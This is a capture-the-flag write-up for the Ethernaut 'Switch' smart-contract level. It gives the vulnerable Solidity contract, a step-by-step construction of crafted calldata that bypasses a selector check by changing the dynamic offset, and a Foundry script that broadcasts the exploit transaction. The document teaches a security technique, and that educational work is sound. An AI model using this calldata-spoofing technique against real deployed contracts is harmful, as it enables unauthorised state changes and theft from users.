Ethernaut-29-Switch
Challenge
Just have to flip the switch. Can't be that hard, right?
Things that might help:
Understanding how CALLDATA
is encoded.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Switch {
bool public switchOn; // switch is off
bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));
modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}
modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(selector[0] == offSelector, "Can only call the turnOffSwitch function");
_;
}
function flipSwitch(bytes memory _data) public onlyOff {
(bool success,) = address(this).call(_data);
require(success, "call failed :(");
}
function turnSwitchOn() public onlyThis {
switchOn = true;
}
function turnSwitchOff() public onlyThis {
switchOn = false;
}
}
Solve
This challenge tests the challenger's understanding of low-level calldata layout.
In order to let switchOn
to be True, we must make the Switch
contract call its own turnSwitchOn()
function.
Due to the onlyThis
modifier, our only entry point is the flipSwitch(bytes memory _data)
function.
We have to call turnSwitchOn()
via .call(_data)
but also bypass the onlyOff
check.
The onlyOff
modifier will check that starting from calldata, the 68th bytes to the 72nd bytes must be the selector of turnSwitchOff()
, which is equal to 0x20606e15
.
cast sig "turnSwitchOff()"
=> 0x20606e15
Let's try to disassemble flipSwitch(bytes memory _data)
to see what its entire calldata is expected to look like (in memory layout):
Note: each line is a piece of 32bytes of data, except the first line.
30c13ade # flipSwitch(bytes memory _data)
???????????????????????????????????????????????????????????????? # Leave it blank, fill in later
???????????????????????????????????????????????????????????????? # Leave it blank, fill in later
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
Alright, we found where the turnSwitchOff()
is.
Next, we need to fill in the data offset and data length of bytes memory _data
.
What is the offset? The offset represents how far away from the starting point of calldata it is to point to the length of bytes memory _data
.
Remember: the layout of dynamic data structure is [offset + length + data]
. We’ve discussed similar topics at Ethernaut-19-AlienCodex.
30c13ade # flipSwitch(bytes memory _data)
0000000000000000000000000000000000000000000000000000000000000020 # Offset of `bytes memory _data`. From 0 plus 32 bytes we can point to `_data.length`, so it's 0x20
0000000000000000000000000000000000000000000000000000000000000004 # Length of `bytes memory _data`. The total length is only 4 bytes.
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
Alright, now we can pass the onlyOff
modifier check.
But how do we use address(this).call(_data)
to call the turnSwitchOn()
function?
We can step back and sort out what the current _data
will be:
0000000000000000000000000000000000000000000000000000000000000020 # Offset of `bytes memory _data`. From 0 plus 32 bytes we can point to `_data.length`, so it's 0x20
0000000000000000000000000000000000000000000000000000000000000004 # Length of `bytes memory _data`. The total length is only 4 bytes.
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
Hmm... Since the onlyOff
modifier does not do any checks on offset and data length, does it mean that we can directly manipulate the offset and length to make it point to what we want?
30c13ade # flipSwitch(bytes memory _data)
???????????????????????????????????????????????????????????????? # Offset of `bytes memory _data`, leave it blank, fill in later
???????????????????????????????????????????????????????????????? # leave it blank, fill in later
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff(), DONT MOVE!
...
0000000000000000000000000000000000000000000000000000000000000004 # Length of `turnSwitchOn.selector`, 4 bytes
76227e1200000000000000000000000000000000000000000000000000000000 # turnSwitchOn()
After all, as long as the position of the turnSwitchOff()
is maintained, we can always pass the onlyOff
modifier checks.
Let's fill in the offset of bytes memory _data
:
30c13ade # flipSwitch(bytes memory _data)
0000000000000000000000000000000000000000000000000000000000000060 # Offset of `bytes memory _data`, point to "Length of `turnSwitchOn.selector`"
???????????????????????????????????????????????????????????????? # leave it blank, fill in later
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff(), DONT MOVE!
0000000000000000000000000000000000000000000000000000000000000004 # Length of `turnSwitchOn.selector`, 4 bytes
76227e1200000000000000000000000000000000000000000000000000000000 # turnSwitchOn()
Now, we have deprecated calldata (32 ~ 68) bytes, but in order to maintain the position of turnSwitchOff.selector
, we still have to retain its placeholder.
30c13ade # flipSwitch(bytes memory _data)
0000000000000000000000000000000000000000000000000000000000000060 # Offset of `bytes memory _data`, point to "Length of `turnSwitchOn.selector`"
0000000000000000000000000000000000000000000000000000000000000000 # This can be any value
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff(), DONT MOVE!
0000000000000000000000000000000000000000000000000000000000000004 # Length of `turnSwitchOn.selector`, 4 bytes
76227e1200000000000000000000000000000000000000000000000000000000 # turnSwitchOn()
As a result, we got the correct bytes memory _data
to pass the challenge!
bytes memory data = hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000"
Full solution code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
interface IGatekeeperThree{
function trick() external returns(address);
}
contract Solver is Script {
address _switch = vm.envAddress("SWITCH_INSTANCE");
function setUp() public {}
function run() public {
vm.startBroadcast(vm.envUint("PRIV_KEY"));
bytes memory data = hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000";
_switch.call(data);
vm.stopBroadcast();
}
}
forge script Ethernaut29-Switch.s.sol:Solver -f $RPC_OP_SEPOLIA --broadcast
Potential Patches
None, this level is just designed for fun.
Calldata can be spoofed in some cases, please avoid using low-level operations to validate calldata.
Subscribe to my newsletter
Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
whiteberets[.]eth
whiteberets[.]eth
Please don't OSINT me, I'd be shy. 🫣